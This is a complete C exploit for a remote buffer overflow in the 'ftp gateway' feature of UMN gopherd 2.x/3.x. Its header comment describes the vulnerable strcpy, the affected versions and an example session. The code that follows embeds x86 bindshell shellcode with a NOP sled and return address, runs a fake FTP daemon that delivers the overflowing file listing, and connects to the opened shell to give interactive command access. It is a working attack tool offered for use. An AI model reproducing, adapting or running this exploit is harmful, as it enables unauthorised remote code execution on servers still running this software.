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-
- /*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
- * *
- * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
- * *
- * three years since last audit, code is a little more secure. but, *
- * still found a few potentially exploitable situations. this *
- * exploits the "ftp gateway" feature of gopherd. the gateway is *
- * intended to act as a proxy of sorts. between the server, and the *
- * client. the bug occurs when gopherd attempts to read a ftp *
- * list(LIST), and strcpy()'s the filename without checking the *
- * length. an example would look like this(including where to put *
- * the shellcode at): *
- * *
- * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>" *
- * *
- * to exploit this, there needs to be a fake ftp daemon of sorts. *
- * and, do to the nature of gopherd's "ftp gateway" support, must be *
- * on port 21. which means this exploit needs to run as root. *
- * *
- * when exploiting this bug, it is made moderately easy by gopherd. *
- * because, the buffer that holds the string is 8192 bytes, and on *
- * the stack. meaning the amount of NOPs used can be around ~7500. *
- * *
- * requirements(general): *
- * gopherd must have "ftp gateway" support included on compile, *
- * this is true by default. but, the "--disable-ftp" configure *
- * option will make exploitation of this bug impossible. *
- * *
- * requirements(for this exploit): *
- * the server must be running linux/x86(what i made the exploit *
- * for). gopherd must be started in the root directory "/", *
- * running with the -c command line option, or started as non-root. *
- * any of those three situations will allow for successful *
- * exploitation. this does not mean it is impossible to exploit *
- * otherwise. but, gopherd will be in a chroot()'d state. and, as *
- * of the 2.4 kernel series, i have seen no such way to break *
- * chroot. if it is desired to still run code, even in a limited *
- * environment, simply change the shellcode to your likings. also, *
- * the exploit must be ran as root, to bind to port 21. *
- * *
- * bug location(gopher-3.0.5/gopherd/ftp.c): *
- * 1800:int *
- * 1801:GopherFile(FTP *ftp, char *buf, char *theName) *
- * 1802:{ *
- * ... *
- * 1805:char tmpName[256]; *
- * ... *
- * 1811:strcpy(tmpName, buf); *
- * *
- * vulnerable versions: *
- * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
- * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
- * (it is assumed versions before 2.3.1 are vulnerable as well) *
- * *
- * tested on platforms(with no code changes/offsets): *
- * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
- * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
- * (tested on both v3.0.5, and v2.3.1 sources / no changes. this *
- * should apply to pretty much any generic linux, do to the amount *
- * of NOPs(~7500 bytes guessing room), and on the stack) *
- * *
- * example usage: *
- * # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp *
- * # ./xgopherd2k3-ftp localhost 127.0.0.1 *
- * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
- * [*] "UMN gopherd remote ftp gateway buffer overflow" *
- * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
- * *
- * [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
- * *
- * [*] starting ftp daemon. (background) *
- * [*] attempting to connect: localhost:70. *
- * [*] connected successfully: localhost:70. *
- * [?] +GOPHERD: "ftp://x:x@127.0.0.1". *
- * [*] ftp daemon connection established. *
- * [?] -FTPD: "SYST". *
- * [?] -FTPD: "USER x". *
- * [?] -FTPD: "PASS x". *
- * [?] -FTPD: "PORT 127,0,0,1,128,35". *
- * [?] -FTPD: "LIST -F". *
- * [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *
- * [*] waiting for ftp daemon to finish. (ctrl-c if needed) *
- * [*] ftp daemon connection closed. *
- * [*] checking to see if the exploit was successful. *
- * [*] attempting to connect: localhost:45295. *
- * [*] successfully connected: localhost:45295. *
- * *
- * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *
- * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *
- * *
- * note: when using your "local ip", do not make it 127.0.0.1, like *
- * in the example. it must be the ip you connect to the internet *
- * through. (not an local area network ip, or whatnot) *
- *********************************************************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <strings.h>
- #include <signal.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/wait.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- /* change defines at will. (cept EIPSIZE, not recommended) */
- #define CODESIZE 7800 /* part of buf[8192]/stack. (~-350) */
- #define EIPSIZE 292 /* riding a fine line, don't make too big. */
- #define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */
- #define TIMEOUT 10 /* connection timeout. (general) */
-
- /* globals. */
- static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
- "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
- "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
- "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
- "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
- "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
- "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
- "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
- "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
- "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
- "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
- "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
- "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
- "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
- "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
- "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
- "\x6e";
- char ftp_ip[64+1];
- unsigned short ftp_port=0;
- pid_t ftp_pid=0;
- /* return address offset. (arg3) */
- unsigned int offset_ra=0;
-
- /* functions. */
- char *geteip(void);
- char *getcode(void);
- unsigned short ftpd_read(int);
- void ftpd_handler(int,char *);
- void ftpd_list(char *,unsigned short);
- void ftpd(void);
- void gopher_connect(char *,unsigned short,char *);
- void getshell(char *,unsigned short);
- void printe(char *,short);
-
- /* signal handlers. */
- void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
- void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
- void sig_alarm(){printe("alarm/timeout hit.",1);}
-
- /* begin. */
- int main(int argc,char **argv){
- unsigned short gopher_port=70; /* default. */
- unsigned int i=0;
- char *gopher_host;
- printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
- "verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"
- "ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."
- "deadpig.org (fakehalo)\n\n");
- if(argc<3){
- printf("[!] syntax: %s <hostname[:port]> <local/your"
- "_ip> [offset]\n\n",argv[0]);
- exit(1);
- }
- if(!(gopher_host=(char *)strdup(argv[1])))
- printe("main(): allocating memory failed",1);
- for(i=0;i<strlen(gopher_host);i++)
- if(gopher_host[i]==':')
- gopher_host[i]=0x0;
- if(index(argv[1],':'))
- gopher_port=atoi((char *)index(argv[1],':')+1);
- if(!gopher_port)
- gopher_port=70;
- if(argc>3)
- offset_ra=atoi(argv[3]);
- printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+"
- "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);
- signal(SIGINT,sig_ctrlc_wait);
- signal(SIGALRM,sig_alarm);
- /* start ftpd, as a different process. */
- switch(ftp_pid=fork()){
- case -1:
- printe("fork() ftpd failure.",1);
- break;
- case 0:
- signal(SIGINT,SIG_DFL);
- ftpd();
- _exit(0);
- break;
- default:
- printf("[*] starting ftp daemon. (background)\n");
- break;
- }
- gopher_connect(gopher_host,gopher_port,argv[2]);
- /* gotta let the ftpd magic happen, plenty of time. */
- printf("[*] waiting for ftp daemon to finish. (ctrl-c if"
- " needed)\n");
- waitpid(ftp_pid,0,0);
- signal(SIGINT,sig_ctrlc_exit);
- getshell(gopher_host,45295); /* defined in shellcode. */
- printf("[!] exploit failed.\n");
- exit(0);
- }
- char *geteip(void){
- unsigned int i=0;
- char *buf;
- if(!(buf=(char *)malloc(EIPSIZE+1)))
- printe("ftpd_read(): allocating memory failed.",1);
- memset(buf,0x0,EIPSIZE+1);
- for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}
- return(buf);
- }
- char *getcode(void){
- char *buf;
- if(!(buf=(char *)malloc(CODESIZE+1)))
- printe("getcode(): allocating memory failed",1);
- memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
- memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
- strlen(x86_exec));
- return(buf);
- }
- unsigned short ftpd_read(int sock){
- char *buf;
- if(!(buf=(char *)malloc(4096+1)))
- return(1);
- memset(buf,0x0,4096+1);
- if(read(sock,buf,4096)<1)
- return(1);
- ftpd_handler(sock,buf);
- return(0);
- }
- void ftpd_handler(int sock,char *buf){
- unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
- /* clean up for display, changes nothing critical. */
- for(i=0;i<strlen(buf);i++)
- if(buf[i]=='\r'||buf[i]=='\n')
- buf[i]=0x0;
- if(strlen(buf)){
- printf("[?] -FTPD: \"%s\".\n",buf);
- if(!strncmp("SYST",buf,4))
- dprintf(sock,"215 UNIX Type: L8\n");
- else if(!strncmp("USER ",buf,5))
- dprintf(sock,"331 login ok.\n");
- else if(!strncmp("PASS ",buf,5))
- dprintf(sock,"230 access granted.\n");
- else if(!strncmp("PORT ",buf,5)){
- sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
- &addr4,&port1,&port2);
- memset(ftp_ip,0x0,64+1);
- snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);
- ftp_port=((port1*256)+port2);
- dprintf(sock,"200 PORT command successful.\n");
- }
- else if(!strncmp("LIST",buf,4)){
- dprintf(sock,"150 Opening connection.\n");
- /* send the fake file list, the exploit itself. */
- if(strlen(ftp_ip)&&ftp_port)
- ftpd_list(ftp_ip,ftp_port);
- dprintf(sock,"226 Transfer complete.\n");
- sleep(1);
- /* nothing else of importance. */
- close(sock);
- }
- }
- return;
- }
- void ftpd_list(char *ip,unsigned short port){
- int sock;
- struct hostent *t;
- struct sockaddr_in s;
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- s.sin_family=AF_INET;
- s.sin_port=htons(port);
- if((s.sin_addr.s_addr=inet_addr(ip))){
- if(!(t=gethostbyname(ip)))
- printe("couldn't resolve ftp_list hostname/ip.",1);
- memcpy((char*)&s.sin_addr,(char*)t->h_addr,
- sizeof(s.sin_addr));
- }
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
- printe("ftpd_list connection failed.",1);
- alarm(0);
- /* the exploit itself, what changes the EIP. */
- /* i just put the shellcode where the user/owner */
- /* of the file would normally go, goes into the */
- /* fat buf[8192] buffer, yummy. */
- printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
- "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
- dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
- getcode(),geteip());
- sleep(1); /* not needed, safe call. */
- close(sock);
- return;
- }
- void ftpd(void){
- int ssock,sock,salen,so=1,i=0;
- struct sockaddr_in ssa,sa;
- ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- /* just incase used multiple times, good habit anyways. */
- setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
- /* not everywheres. */
- #ifdef SO_REUSEPORT
- setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
- #endif
- ssa.sin_family=AF_INET;
- /* must be default, gopherd limitations. :( */
- ssa.sin_port=htons(21);
- ssa.sin_addr.s_addr=INADDR_ANY;
- if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
- printe("could not bind socket, ftpd already running?",1);
- listen(ssock,1);
- bzero((char*)&sa,sizeof(struct sockaddr_in));
- /* some things i just don't see the reason for. :/ */
- salen=sizeof(sa);
- sock=accept(ssock,(struct sockaddr *)&sa,&salen);
- close(ssock); /* close server socket. */
- printf("[*] ftp daemon connection established.\n");
- /* welcome! */
- dprintf(sock,"220 FakeFTPD.\n");
- while(!i)
- i=ftpd_read(sock);
- close(sock);
- printf("[*] ftp daemon connection closed.\n");
- return;
- }
- void gopher_connect(char *hostname,unsigned short port,
- char *myip){
- int sock;
- struct hostent *t;
- struct sockaddr_in s;
- printf("[*] attempting to connect: %s:%d.\n",hostname,port);
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- s.sin_family=AF_INET;
- s.sin_port=htons(port);
- if((s.sin_addr.s_addr=inet_addr(hostname))){
- if(!(t=gethostbyname(hostname)))
- printe("couldn't resolve gopher hostname.",1);
- memcpy((char*)&s.sin_addr,(char*)t->h_addr,
- sizeof(s.sin_addr));
- }
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
- printe("gopher connection failed.",1);
- alarm(0);
- printf("[*] connected successfully: %s:%d.\n",hostname,port);
- printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
- sleep(1); /* had problems, without a delay here. */
- dprintf(sock,"ftp://x:x@%s\n",myip);
- sleep(1); /* doesn't really matter, but to be safe. :/ */
- /* leave gopher socket open, for the duration. */
- return;
- }
- /* same getshell() routine as usual. */
- void getshell(char *hostname,unsigned short port){
- int sock,r;
- fd_set fds;
- char buf[4096+1];
- struct hostent *he;
- struct sockaddr_in sa;
- printf("[*] checking to see if the exploit was successful.\n");
- if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
- printe("getshell(): socket() failed",0);
- return;
- }
- sa.sin_family=AF_INET;
- if((sa.sin_addr.s_addr=inet_addr(hostname))){
- if(!(he=gethostbyname(hostname))){
- printe("getshell(): couldn't resolve",0);
- return;
- }
- memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
- sizeof(sa.sin_addr));
- }
- sa.sin_port=htons(port);
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- printf("[*] attempting to connect: %s:%d.\n",
- hostname,port);
- if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
- printf("[!] connection failed: %s:%d.\n",
- hostname,port);
- return;
- }
- alarm(0);
- printf("[*] successfully connected: %s:%d.\n\n",
- hostname,port);
- signal(SIGINT,SIG_IGN);
- write(sock,"uname -a;id\n",13);
- while(1){
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sock,&fds);
- if(select(sock+1,&fds,0,0,0)<1){
- printe("getshell(): select() failed",0);
- return;
- }
- if(FD_ISSET(0,&fds)){
- if((r=read(0,buf,4096))<1){
- printe("getshell(): read() failed",0);
- return;
- }
- if(write(sock,buf,r)!=r){
- printe("getshell(): write() failed",0);
- return;
- }
- }
- if(FD_ISSET(sock,&fds)){
- if((r=read(sock,buf,4096))<1)
- exit(0);
- write(1,buf,r);
- }
- }
- close(sock);
- return;
- }
- void printe(char *err,short e){
- printf("[!] %s\n",err);
- if(e){
- /* don't want to exit with ftpd still running. */
- if(ftp_pid)
- kill(ftp_pid,9);
- printf("[!] exploit failed.\n");
- exit(1);
- }
- return;
- }
-
-